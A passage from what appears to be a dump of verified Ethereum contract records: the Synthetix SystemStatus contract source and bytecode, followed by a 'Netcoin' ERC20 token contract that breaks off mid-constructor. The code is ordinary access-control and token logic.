DEALINGS IN THE */ pragma solidity ^0.5.16; // https://docs.synthetix.io/contracts/source/contracts/owned contract Owned { address public owner; address public nominatedOwner; constructor(address _owner) public { require(_owner != address(0), "Owner address cannot be 0"); owner = _owner; emit OwnerChanged(address(0), _owner); } function nominateNewOwner(address _owner) external onlyOwner { nominatedOwner = _owner; emit OwnerNominated(_owner); } function acceptOwnership() external { require(msg.sender == nominatedOwner, "You must be nominated before you can accept ownership"); emit OwnerChanged(owner, nominatedOwner); owner = nominatedOwner; nominatedOwner = address(0); } modifier onlyOwner { _onlyOwner(); _; } function _onlyOwner() private view { require(msg.sender == owner, "Only the contract owner may perform this action"); } event OwnerNominated(address newOwner); event OwnerChanged(address oldOwner, address newOwner); } // https://docs.synthetix.io/contracts/source/interfaces/isystemstatus interface ISystemStatus { struct Status { bool canSuspend; bool canResume; } struct Suspension { bool suspended; // reason is an integer code, // 0 => no reason, 1 => upgrading, 2+ => defined by system usage uint248 reason; } // Views function accessControl(bytes32 section, address account) external view returns (bool canSuspend, bool canResume); function requireSystemActive() external view; function requireIssuanceActive() external view; function requireExchangeActive() external view; function requireExchangeBetweenSynthsAllowed(bytes32 sourceCurrencyKey, bytes32 destinationCurrencyKey) external view; function requireSynthActive(bytes32 currencyKey) external view; function requireSynthsActive(bytes32 sourceCurrencyKey, bytes32 destinationCurrencyKey) external view; function systemSuspension() external view returns (bool suspended, uint248 reason); function issuanceSuspension() external view returns (bool suspended, uint248 reason); function exchangeSuspension() external view returns (bool suspended, uint248 reason); function synthExchangeSuspension(bytes32 currencyKey) external view returns (bool suspended, uint248 reason); function synthSuspension(bytes32 currencyKey) external view returns (bool suspended, uint248 reason); function getSynthExchangeSuspensions(bytes32[] calldata synths) external view returns (bool[] memory exchangeSuspensions, uint256[] memory reasons); function getSynthSuspensions(bytes32[] calldata synths) external view returns (bool[] memory suspensions, uint256[] memory reasons); // Restricted functions function suspendSynth(bytes32 currencyKey, uint256 reason) external; function updateAccessControl( bytes32 section, address account, bool canSuspend, bool canResume ) external; } // Inheritance // https://docs.synthetix.io/contracts/source/contracts/systemstatus contract SystemStatus is Owned, ISystemStatus { mapping(bytes32 => mapping(address => Status)) public accessControl; uint248 public constant SUSPENSION_REASON_UPGRADE = 1; bytes32 public constant SECTION_SYSTEM = "System"; bytes32 public constant SECTION_ISSUANCE = "Issuance"; bytes32 public constant SECTION_EXCHANGE = "Exchange"; bytes32 public constant SECTION_SYNTH_EXCHANGE = "SynthExchange"; bytes32 public constant SECTION_SYNTH = "Synth"; Suspension public systemSuspension; Suspension public issuanceSuspension; Suspension public exchangeSuspension; mapping(bytes32 => Suspension) public synthExchangeSuspension; mapping(bytes32 => Suspension) public synthSuspension; constructor(address _owner) public Owned(_owner) {} /* ========== VIEWS ========== */ function requireSystemActive() external view { _internalRequireSystemActive(); } function requireIssuanceActive() external view { // Issuance requires the system be active _internalRequireSystemActive(); // and issuance itself of course _internalRequireIssuanceActive(); } function requireExchangeActive() external view { // Exchanging requires the system be active _internalRequireSystemActive(); // and exchanging itself of course _internalRequireExchangeActive(); } function requireSynthExchangeActive(bytes32 currencyKey) external view { // Synth exchange and transfer requires the system be active _internalRequireSystemActive(); _internalRequireSynthExchangeActive(currencyKey); } function requireSynthActive(bytes32 currencyKey) external view { // Synth exchange and transfer requires the system be active _internalRequireSystemActive(); _internalRequireSynthActive(currencyKey); } function requireSynthsActive(bytes32 sourceCurrencyKey, bytes32 destinationCurrencyKey) external view { // Synth exchange and transfer requires the system be active _internalRequireSystemActive(); _internalRequireSynthActive(sourceCurrencyKey); _internalRequireSynthActive(destinationCurrencyKey); } function requireExchangeBetweenSynthsAllowed(bytes32 sourceCurrencyKey, bytes32 destinationCurrencyKey) external view { // Synth exchange and transfer requires the system be active _internalRequireSystemActive(); // and exchanging must be active _internalRequireExchangeActive(); // and the synth exchanging between the synths must be active _internalRequireSynthExchangeActive(sourceCurrencyKey); _internalRequireSynthExchangeActive(destinationCurrencyKey); // and finally, the synths cannot be suspended _internalRequireSynthActive(sourceCurrencyKey); _internalRequireSynthActive(destinationCurrencyKey); } function isSystemUpgrading() external view returns (bool) { return systemSuspension.suspended && systemSuspension.reason == SUSPENSION_REASON_UPGRADE; } function getSynthExchangeSuspensions(bytes32[] calldata synths) external view returns (bool[] memory exchangeSuspensions, uint256[] memory reasons) { exchangeSuspensions = new bool[](synths.length); reasons = new uint256[](synths.length); for (uint i = 0; i < synths.length; i++) { exchangeSuspensions[i] = synthExchangeSuspension[synths[i]].suspended; reasons[i] = synthExchangeSuspension[synths[i]].reason; } } function getSynthSuspensions(bytes32[] calldata synths) external view returns (bool[] memory suspensions, uint256[] memory reasons) { suspensions = new bool[](synths.length); reasons = new uint256[](synths.length); for (uint i = 0; i < synths.length; i++) { suspensions[i] = synthSuspension[synths[i]].suspended; reasons[i] = synthSuspension[synths[i]].reason; } } /* ========== MUTATIVE FUNCTIONS ========== */ function updateAccessControl( bytes32 section, address account, bool canSuspend, bool canResume ) external onlyOwner { _internalUpdateAccessControl(section, account, canSuspend, canResume); } function updateAccessControls( bytes32[] calldata sections, address[] calldata accounts, bool[] calldata canSuspends, bool[] calldata canResumes ) external onlyOwner { require( sections.length == accounts.length && accounts.length == canSuspends.length && canSuspends.length == canResumes.length, "Input array lengths must match" ); for (uint i = 0; i < sections.length; i++) { _internalUpdateAccessControl(sections[i], accounts[i], canSuspends[i], canResumes[i]); } } function suspendSystem(uint256 reason) external { _requireAccessToSuspend(SECTION_SYSTEM); systemSuspension.suspended = true; systemSuspension.reason = uint248(reason); emit SystemSuspended(systemSuspension.reason); } function resumeSystem() external { _requireAccessToResume(SECTION_SYSTEM); systemSuspension.suspended = false; emit SystemResumed(uint256(systemSuspension.reason)); systemSuspension.reason = 0; } function suspendIssuance(uint256 reason) external { _requireAccessToSuspend(SECTION_ISSUANCE); issuanceSuspension.suspended = true; issuanceSuspension.reason = uint248(reason); emit IssuanceSuspended(reason); } function resumeIssuance() external { _requireAccessToResume(SECTION_ISSUANCE); issuanceSuspension.suspended = false; emit IssuanceResumed(uint256(issuanceSuspension.reason)); issuanceSuspension.reason = 0; } function suspendExchange(uint256 reason) external { _requireAccessToSuspend(SECTION_EXCHANGE); exchangeSuspension.suspended = true; exchangeSuspension.reason = uint248(reason); emit ExchangeSuspended(reason); } function resumeExchange() external { _requireAccessToResume(SECTION_EXCHANGE); exchangeSuspension.suspended = false; emit ExchangeResumed(uint256(exchangeSuspension.reason)); exchangeSuspension.reason = 0; } function suspendSynthExchange(bytes32 currencyKey, uint256 reason) external { bytes32[] memory currencyKeys = new bytes32[](1); currencyKeys[0] = currencyKey; _internalSuspendSynthExchange(currencyKeys, reason); } function suspendSynthsExchange(bytes32[] calldata currencyKeys, uint256 reason) external { _internalSuspendSynthExchange(currencyKeys, reason); } function resumeSynthExchange(bytes32 currencyKey) external { bytes32[] memory currencyKeys = new bytes32[](1); currencyKeys[0] = currencyKey; _internalResumeSynthsExchange(currencyKeys); } function resumeSynthsExchange(bytes32[] calldata currencyKeys) external { _internalResumeSynthsExchange(currencyKeys); } function suspendSynth(bytes32 currencyKey, uint256 reason) external { bytes32[] memory currencyKeys = new bytes32[](1); currencyKeys[0] = currencyKey; _internalSuspendSynths(currencyKeys, reason); } function suspendSynths(bytes32[] calldata currencyKeys, uint256 reason) external { _internalSuspendSynths(currencyKeys, reason); } function resumeSynth(bytes32 currencyKey) external { bytes32[] memory currencyKeys = new bytes32[](1); currencyKeys[0] = currencyKey; _internalResumeSynths(currencyKeys); } function resumeSynths(bytes32[] calldata currencyKeys) external { _internalResumeSynths(currencyKeys); } /* ========== INTERNAL FUNCTIONS ========== */ function _requireAccessToSuspend(bytes32 section) internal view { require(accessControl[section][msg.sender].canSuspend, "Restricted to access control list"); } function _requireAccessToResume(bytes32 section) internal view { require(accessControl[section][msg.sender].canResume, "Restricted to access control list"); } function _internalRequireSystemActive() internal view { require( !systemSuspension.suspended, systemSuspension.reason == SUSPENSION_REASON_UPGRADE ? "Synthetix is suspended, upgrade in progress... please stand by" : "Synthetix is suspended. Operation prohibited" ); } function _internalRequireIssuanceActive() internal view { require(!issuanceSuspension.suspended, "Issuance is suspended. Operation prohibited"); } function _internalRequireExchangeActive() internal view { require(!exchangeSuspension.suspended, "Exchange is suspended. Operation prohibited"); } function _internalRequireSynthExchangeActive(bytes32 currencyKey) internal view { require(!synthExchangeSuspension[currencyKey].suspended, "Synth exchange suspended. Operation prohibited"); } function _internalRequireSynthActive(bytes32 currencyKey) internal view { require(!synthSuspension[currencyKey].suspended, "Synth is suspended. Operation prohibited"); } function _internalSuspendSynths(bytes32[] memory currencyKeys, uint256 reason) internal { _requireAccessToSuspend(SECTION_SYNTH); for (uint i = 0; i < currencyKeys.length; i++) { bytes32 currencyKey = currencyKeys[i]; synthSuspension[currencyKey].suspended = true; synthSuspension[currencyKey].reason = uint248(reason); emit SynthSuspended(currencyKey, reason); } } function _internalResumeSynths(bytes32[] memory currencyKeys) internal { _requireAccessToResume(SECTION_SYNTH); for (uint i = 0; i < currencyKeys.length; i++) { bytes32 currencyKey = currencyKeys[i]; emit SynthResumed(currencyKey, uint256(synthSuspension[currencyKey].reason)); delete synthSuspension[currencyKey]; } } function _internalSuspendSynthExchange(bytes32[] memory currencyKeys, uint256 reason) internal { _requireAccessToSuspend(SECTION_SYNTH_EXCHANGE); for (uint i = 0; i < currencyKeys.length; i++) { bytes32 currencyKey = currencyKeys[i]; synthExchangeSuspension[currencyKey].suspended = true; synthExchangeSuspension[currencyKey].reason = uint248(reason); emit SynthExchangeSuspended(currencyKey, reason); } } function _internalResumeSynthsExchange(bytes32[] memory currencyKeys) internal { _requireAccessToResume(SECTION_SYNTH_EXCHANGE); for (uint i = 0; i < currencyKeys.length; i++) { bytes32 currencyKey = currencyKeys[i]; emit SynthExchangeResumed(currencyKey, uint256(synthExchangeSuspension[currencyKey].reason)); delete synthExchangeSuspension[currencyKey]; } } function _internalUpdateAccessControl( bytes32 section, address account, bool canSuspend, bool canResume ) internal { require( section == SECTION_SYSTEM || section == SECTION_ISSUANCE || section == SECTION_EXCHANGE || section == SECTION_SYNTH_EXCHANGE || section == SECTION_SYNTH, "Invalid section supplied" ); accessControl[section][account].canSuspend = canSuspend; accessControl[section][account].canResume = canResume; emit AccessControlUpdated(section, account, canSuspend, canResume); } /* ========== EVENTS ========== */ event SystemSuspended(uint256 reason); event SystemResumed(uint256 reason); event IssuanceSuspended(uint256 reason); event IssuanceResumed(uint256 reason); event ExchangeSuspended(uint256 reason); event ExchangeResumed(uint256 reason); event SynthExchangeSuspended(bytes32 currencyKey, uint256 reason); event SynthExchangeResumed(bytes32 currencyKey, uint256 reason); event SynthSuspended(bytes32 currencyKey, uint256 reason); event SynthResumed(bytes32 currencyKey, uint256 reason); event AccessControlUpdated(bytes32 indexed section, address indexed account, bool canSuspend, bool canResume); }
0x608060405234801561001057600080fd5b506004361061025e5760003560e01c806369eaced211610146578063abc0bb6e116100c3578063e665edf011610087578063e665edf014610998578063e91e691814610a06578063f161620714610a23578063f405f65a14610a2b578063f44d1e0b14610a33578063f8b4b08414610a3b5761025e565b8063abc0bb6e146107c6578063b9a49869146107e9578063da5917ae146108f0578063de1b88511461090d578063e470df581461097b5761025e565b80637fe9b23d1161010a5780637fe9b23d146107075780638da5cb5b1461077557806394c79f741461077d5780639f8a95ba1461079a578063a55ce9c5146107be5761025e565b806369eaced2146106645780637118d431146106d25780637243bc2c146106da57806379ba5097146106f75780637c312541146106ff5761025e565b80632e8d0b9e116101df5780634abdb44d116101a35780634abdb44d14610492578063517d60c61461049a57806353a47bb7146105f85780636132eba41461061c5780636309a10c1461063f57806367a280b21461065c5761025e565b80632e8d0b9e146103dd578063396e258e146103f957806342a28e211461041657806348bf1971146104335780634a6618501461046f5761025e565b80631cba727c116102265780631cba727c146102d25780631ce00ba21461034057806320f2bf00146103635780632366245e146103aa5780632dd8afdb146103d55761025e565b8063086dabd11461026357806312bde5141461026d578063157c51d3146102875780631588e8171461028f5780631627540c146102ac575b600080fd5b61026b610a43565b005b610275610a4d565b60408051918252519081900360200190f35b61026b610a5a565b61026b600480360360208110156102a557600080fd5b5035610ac4565b61026b600480360360208110156102c257600080fd5b50356001600160a01b0316610b2f565b61026b600480360360408110156102e857600080fd5b810190602081018135600160201b81111561030257600080fd5b82018360208201111561031457600080fd5b803590602001918460208302840111600160201b8311171561033557600080fd5b919350915035610b8b565b61026b6004803603604081101561035657600080fd5b5080359060200135610bce565b61038f6004803603604081101561037957600080fd5b50803590602001356001600160a01b0316610c06565b60408051921515835290151560208301528051918290030190f35b6103b2610c2f565b6040805192151583526001600160f81b0390911660208301528051918290030190f35b6103b2610c48565b6103e5610c61565b604080519115158252519081900360200190f35b61026b6004803603602081101561040f57600080fd5b5035610c8b565b61026b6004803603602081101561042c57600080fd5b5035610cf6565b61026b6004803603608081101561044957600080fd5b508035906001600160a01b03602082013516906040810135151590606001351515610d0a565b61026b6004803603604081101561048557600080fd5b5080359060200135610d24565b610275610d6a565b61026b600480360360808110156104b057600080fd5b810190602081018135600160201b8111156104ca57600080fd5b8201836020820111156104dc57600080fd5b803590602001918460208302840111600160201b831117156104fd57600080fd5b919390929091602081019035600160201b81111561051a57600080fd5b82018360208201111561052c57600080fd5b803590602001918460208302840111600160201b8311171561054d57600080fd5b919390929091602081019035600160201b81111561056a57600080fd5b82018360208201111561057c57600080fd5b803590602001918460208302840111600160201b8311171561059d57600080fd5b919390929091602081019035600160201b8111156105ba57600080fd5b8201836020820111156105cc57600080fd5b803590602001918460208302840111600160201b831117156105ed57600080fd5b509092509050610d79565b610600610e6a565b604080516001600160a01b039092168252519081900360200190f35b61026b6004803603604081101561063257600080fd5b5080359060200135610e79565b61026b6004803603602081101561065557600080fd5b5035610e81565b61026b610ec6565b61026b6004803603602081101561067a57600080fd5b810190602081018135600160201b81111561069457600080fd5b8201836020820111156106a657600080fd5b803590602001918460208302840111600160201b831117156106c757600080fd5b509092509050610f32565b61026b610f6e565b6103b2600480360360208110156106f057600080fd5b5035610f7e565b61026b610fa3565b61026b61105f565b61026b6004803603604081101561071d57600080fd5b810190602081018135600160201b81111561073757600080fd5b82018360208201111561074957600080fd5b803590602001918460208302840111600160201b8311171561076a57600080fd5b91935091503561106f565b6106006110ad565b61026b6004803603602081101561079357600080fd5b50356110bc565b6107a2611101565b604080516001600160f81b039092168252519081900360200190f35b610275611106565b61026b600480360360408110156107dc57600080fd5b508035906020013561111a565b610857600480360360208110156107ff57600080fd5b810190602081018135600160201b81111561081957600080fd5b82018360208201111561082b57600080fd5b803590602001918460208302840111600160201b8311171561084c57600080fd5b509092509050611160565b604051808060200180602001838103835285818151815260200191508051906020019060200280838360005b8381101561089b578181015183820152602001610883565b50505050905001838103825284818151815260200191508051906020019060200280838360005b838110156108da5781810151838201526020016108c2565b5050505090500194505050505060405180910390f35b61026b6004803603602081101561090657600080fd5b5035611289565b61026b6004803603602081101561092357600080fd5b810190602081018135600160201b81111561093d57600080fd5b82018360208201111561094f57600080fd5b803590602001918460208302840111600160201b8311171561097057600080fd5b50909250905061129a565b61026b6004803603602081101561099157600080fd5b50356112d6565b610857600480360360208110156109ae57600080fd5b810190602081018135600160201b8111156109c857600080fd5b8201836020820111156109da57600080fd5b803590602001918460208302840111600160201b831117156109fb57600080fd5b50909250905061134b565b6103b260048036036020811015610a1c57600080fd5b503561146c565b610275611491565b61026b6114a0565b61027561150c565b6103b2611518565b610a4b611531565b565b6553797374656d60d01b81565b610a6c6553797374656d60d01b611610565b6003805460ff191690819055604080516101009092046001600160f81b03168252517fb392a95118344e8edff8eff56183afb4bb0240310c406a0fc1217d2755c66d8f916020908290030190a16003805460ff169055565b610ad86745786368616e676560c01b61166d565b600580546001600160f81b0383166101000260ff1990911660011760ff161790556040805182815290517f078773069a9216cdb6acaa7b184785f12f62048c7ce8b7ede1bad6785de16b229181900360200190a150565b610b376116c5565b600180546001600160a01b0383166001600160a01b0319909116811790915560408051918252517f906a1c6bd7e3091ea86693dd029a831c19049ce77f1dce2ce0bab1cacbabce229181900360200190a150565b610bc983838080602002602001604051908101604052809392919081815260200183836020028082843760009201919091525085925061170e915050565b505050565b610bd6611531565b610bde6117bc565b610be7826117fe565b610bf0816117fe565b610bf98261184c565b610c028161184c565b5050565b600260209081526000928352604080842090915290825290205460ff8082169161010090041682565b60045460ff81169061010090046001600160f81b031682565b60035460ff81169061010090046001600160f81b031682565b60035460009060ff168015610c86575060035461010090046001600160f81b03166001145b905090565b610c9f6749737375616e636560c01b61166d565b600480546001600160f81b0383166101000260ff1990911660011760ff161790556040805182815290517fee8bf45d6e3141aa521ae4f0d05dfefe0327a3f23a9fbae6a64680458b34ebb89181900360200190a150565b610cfe611531565b610d078161184c565b50565b610d126116c5565b610d1e8484848461189a565b50505050565b604080516001808252818301909252606091602080830190803883390190505090508281600081518110610d5457fe5b602002602001018181525050610bc9818361170e565b6749737375616e636560c01b81565b610d816116c5565b8685148015610d8f57508483145b8015610d9a57508281145b610deb576040805162461bcd60e51b815260206004820152601e60248201527f496e707574206172726179206c656e67746873206d757374206d617463680000604482015290519081900360640190fd5b60005b87811015610e5f57610e57898983818110610e0557fe5b90506020020135888884818110610e1857fe5b905060200201356001600160a01b0316878785818110610e3457fe5b905060200201351515868686818110610e4957fe5b90506020020135151561189a565b600101610dee565b505050505050505050565b6001546001600160a01b031681565b610bf0611531565b604080516001808252818301909252606091602080830190803883390190505090508181600081518110610eb157fe5b602002602001018181525050610c02816119cc565b610eda6749737375616e636560c01b611610565b6004805460ff191690819055604080516101009092046001600160f81b03168252517f0f1a80395faba9a11017f830db5f90ad6525a1621dbfb2cbc2b6679ba5716837916020908290030190a16004805460ff169055565b610c028282808060200260200160405190810160405280939291908181526020018383602002808284376000920191909152506119cc92505050565b610f76611531565b610a4b6117bc565b60076020526000908152604090205460ff81169061010090046001600160f81b031682565b6001546001600160a01b03163314610fec5760405162461bcd60e51b8152600401808060200182810382526035815260200180611c096035913960400191505060405180910390fd5b600054600154604080516001600160a01b03938416815292909116602083015280517fb532073b38c83145e3e5135377a08bf9aab55bc0fd7c1179cd4fb995d2a5159c9281900390910190a160018054600080546001600160a01b03199081166001600160a01b03841617909155169055565b611067611531565b610a4b611a7a565b610bc9838380806020026020016040519081016040528093929190818152602001838360200280828437600092019190915250859250611abc915050565b6000546001600160a01b031681565b6040805160018082528183019092526060916020808301908038833901905050905081816000815181106110ec57fe5b602002602001018181525050610c0281611b62565b600181565b6c53796e746845786368616e676560981b81565b60408051600180825281830190925260609160208083019080388339019050509050828160008151811061114a57fe5b602002602001018181525050610bc98183611abc565b60608083839050604051908082528060200260200182016040528015611190578160200160208202803883390190505b506040805185815260208087028201019091529092508380156111bd578160200160208202803883390190505b50905060005b8381101561128157600760008686848181106111db57fe5b90506020020135815260200190815260200160002060000160009054906101000a900460ff1683828151811061120d57fe5b911515602092830291909101909101526007600086868481811061122d57fe5b90506020020135815260200190815260200160002060000160019054906101000a90046001600160f81b03166001600160f81b031682828151811061126e57fe5b60209081029190910101526001016111c3565b509250929050565b611291611531565b610d07816117fe565b610c02828280806020026020016040519081016040528093929190818152602001838360200280828437600092019190915250611b6292505050565b6112e86553797374656d60d01b61166d565b600380546001600160f81b0380841661010090810260ff1990931660011760ff169290921792839055604080519290930416815290517f86b7ed06c3a2c3763514d475ced33f9ac8b1bb8f028ded18de0100b7678f3c4f9181900360200190a150565b6060808383905060405190808252806020026020018201604052801561137b578160200160208202803883390190505b506040805185815260208087028201019091529092508380156113a8578160200160208202803883390190505b50905060005b8381101561128157600660008686848181106113c657fe5b90506020020135815260200190815260200160002060000160009054906101000a900460ff168382815181106113f857fe5b911515602092830291909101909101526006600086868481811061141857fe5b90506020020135815260200190815260200160002060000160019054906101000a90046001600160f81b03166001600160f81b031682828151811061145957fe5b60209081029190910101526001016113ae565b60066020526000908152604090205460ff81169061010090046001600160f81b031682565b6745786368616e676560c01b81565b6114b46745786368616e676560c01b611610565b6005805460ff191690819055604080516101009092046001600160f81b03168252517f07966fe79d35c7abf1f3b2ad9970ea24cae0f11406e283e848e3e6608ae3c214916020908290030190a16005805460ff169055565b640a6f2dce8d60db1b81565b60055460ff81169061010090046001600160f81b031682565b60035460ff8116159061010090046001600160f81b031660011461156d576040518060600160405280602c8152602001611d12602c9139611587565b6040518060600160405280603e8152602001611d3e603e91395b90610d075760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b838110156115d55781810151838201526020016115bd565b50505050905090810190601f1680156116025780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b6000818152600260209081526040808320338452909152902054610100900460ff16610d075760405162461bcd60e51b8152600401808060200182810382526021815260200180611cf16021913960400191505060405180910390fd5b600081815260026020908152604080832033845290915290205460ff16610d075760405162461bcd60e51b8152600401808060200182810382526021815260200180611cf16021913960400191505060405180910390fd5b6000546001600160a01b03163314610a4b5760405162461bcd60e51b815260040180806020018281038252602f815260200180611c97602f913960400191505060405180910390fd5b6117276c53796e746845786368616e676560981b61166d565b60005b8251811015610bc957600083828151811061174157fe5b60209081029190910181015160008181526006835260409081902080546001600160f81b0388166101000260ff1990911660011760ff16179055805182815292830186905280519193507fcea0da706e9f2a6a1cb56cdab42ac548791339f1710deadf814f15fc0a6a7114928290030190a15060010161172a565b60055460ff1615610a4b5760405162461bcd60e51b815260040180806020018281038252602b815260200180611cc6602b913960400191505060405180910390fd5b60008181526006602052604090205460ff1615610d075760405162461bcd60e51b815260040180806020018281038252602e815260200180611c69602e913960400191505060405180910390fd5b60008181526007602052604090205460ff1615610d075760405162461bcd60e51b8152600401808060200182810382526028815260200180611d7c6028913960400191505060405180910390fd5b6553797374656d60d01b8414806118bb57506749737375616e636560c01b84145b806118d057506745786368616e676560c01b84145b806118ea57506c53796e746845786368616e676560981b84145b806118fc5750640a6f2dce8d60db1b84145b61194d576040805162461bcd60e51b815260206004820152601860248201527f496e76616c69642073656374696f6e20737570706c6965640000000000000000604482015290519081900360640190fd5b60008481526002602090815260408083206001600160a01b038716808552908352928190208054851515610100810261ff001989151560ff1990941684171617909255825190815292830152805187927f95bad30f8fe717e4a02906d7b05a6f90698c7135cd053e5b6d5239146b4c40d192908290030190a350505050565b6119e56c53796e746845786368616e676560981b611610565b60005b8151811015610c025760008282815181106119ff57fe5b6020908102919091018101516000818152600683526040908190205481518381526101009091046001600160f81b03169381019390935280519193507f91037f810fbf9c3c6d5573650d27de6b5e8d2187698822700d4524102472bc08928290030190a16000908152600660205260408120556001016119e8565b60045460ff1615610a4b5760405162461bcd60e51b815260040180806020018281038252602b815260200180611c3e602b913960400191505060405180910390fd5b611acd640a6f2dce8d60db1b61166d565b60005b8251811015610bc9576000838281518110611ae757fe5b60209081029190910181015160008181526007835260409081902080546001600160f81b0388166101000260ff1990911660011760ff16179055805182815292830186905280519193507f9cca506f9028bbcc0d976db0eaf80dfe6a6d7cadd99024edd88f690e1eda5541928290030190a150600101611ad0565b611b73640a6f2dce8d60db1b611610565b60005b8151811015610c02576000828281518110611b8d57fe5b6020908102919091018101516000818152600783526040908190205481518381526101009091046001600160f81b03169381019390935280519193507f691b6c9654fa1f01847f7e98a061557ca10378bb9670782b60ed13891703d220928290030190a1600090815260076020526040812055600101611b7656fe596f75206d757374206265206e6f6d696e61746564206265666f726520796f752063616e20616363657074206f776e65727368697049737375616e63652069732073757370656e6465642e204f7065726174696f6e2070726f6869626974656453796e74682065786368616e67652073757370656e6465642e204f7065726174696f6e2070726f686962697465644f6e6c792074686520636f6e7472616374206f776e6572206d617920706572666f726d207468697320616374696f6e45786368616e67652069732073757370656e6465642e204f7065726174696f6e2070726f686962697465645265737472696374656420746f2061636365737320636f6e74726f6c206c69737453796e7468657469782069732073757370656e6465642e204f7065726174696f6e2070726f6869626974656453796e7468657469782069732073757370656e6465642c207570677261646520696e2070726f67726573732e2e2e20706c65617365207374616e6420627953796e74682069732073757370656e6465642e204f7065726174696f6e2070726f68696269746564a265627a7a723158200dfb2028e001170d445db182b862c9d45647b267348064b30768ba00ff4424c764736f6c63430005100032
{"success": true, "error": null, "results": {}}
456
0x3d3b7c2babab264c128ebf6ae8792296cf3d29f5
/** *Submitted for verification at Etherscan.io on 2021-05-20 */ // SPDX-License-Identifier: No License pragma solidity 0.6.12; // ---------------------------------------------------------------------------- // 'Netcoin' token contract // // Symbol : NET // Name : Netcoin // Total supply: 100000000 // Decimals : 18 // ---------------------------------------------------------------------------- /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath{ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0;} uint256 c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ constructor () internal { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) onlyOwner public { require(newOwner != address(0)); emit OwnershipTransferred(owner, newOwner); owner = newOwner; } } /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/179 */ interface ERC20Basic { function balanceOf(address who) external view returns (uint256 balance); function transfer(address to, uint256 value) external returns (bool trans1); function allowance(address owner, address spender) external view returns (uint256 remaining); function transferFrom(address from, address to, uint256 value) external returns (bool trans); function approve(address spender, uint256 value) external returns (bool hello); event Approval(address indexed owner, address indexed spender, uint256 value); event Transfer(address indexed from, address indexed to, uint256 value); } /** * @title Basic token * @dev Basic version of StandardToken, with no allowances. */ /** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * @dev https://github.com/ethereum/EIPs/issues/20 * @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */ contract StandardToken is ERC20Basic, Ownable { uint256 public totalSupply; using SafeMath for uint256; mapping(address => uint256) balances; /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public override returns (bool trans1) { require(_to != address(0)); //require(canTransfer(msg.sender)); // SafeMath.sub will throw if there is not enough balance. balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. */ function balanceOf(address _owner) public view override returns (uint256 balance) { return balances[_owner]; } mapping (address => mapping (address => uint256)) allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom(address _from, address _to, uint256 _value) public override returns (bool trans) { require(_to != address(0)); // require(canTransfer(msg.sender)); uint256 _allowance = allowed[_from][msg.sender]; // Check is not needed because sub(_allowance, _value) will already throw if this condition is not met // require (_value <= _allowance); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = _allowance.sub(_value); emit Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public override returns (bool hello) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. */ function allowance(address _owner, address _spender) public view override returns (uint256 remaining) { return allowed[_owner][_spender]; } /** * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol */ function increaseApproval (address _spender, uint _addedValue) public returns (bool success) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } function decreaseApproval (address _spender, uint _subtractedValue) public returns (bool success) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } /** * @title Burnable Token * @dev Token that can be irreversibly burned (destroyed). */ contract BurnableToken is StandardToken { event Burn(address indexed burner, uint256 value); /** * @dev Burns a specific amount of tokens. * @param _value The amount of token to be burned. */ function burn(uint256 _value) public { require(_value > 0); require(_value <= balances[msg.sender]); // no need to require value <= totalSupply, since that would imply the // sender's balance is greater than the totalSupply, which *should* be an assertion failure address burner = msg.sender; balances[burner] = balances[burner].sub(_value); totalSupply = totalSupply.sub(_value); emit Burn(burner, _value); emit Transfer(burner, address(0), _value); } } contract NET is BurnableToken { string public constant name = "Netcoin"; string public constant symbol = "NET"; uint public constant decimals = 18; // there is no problem in using * here instead of .mul() uint256 public constant initialSupply = 100000000 * (10 ** uint256(decimals)); // Constructors constructor () public{ totalSupply = initialSupply; 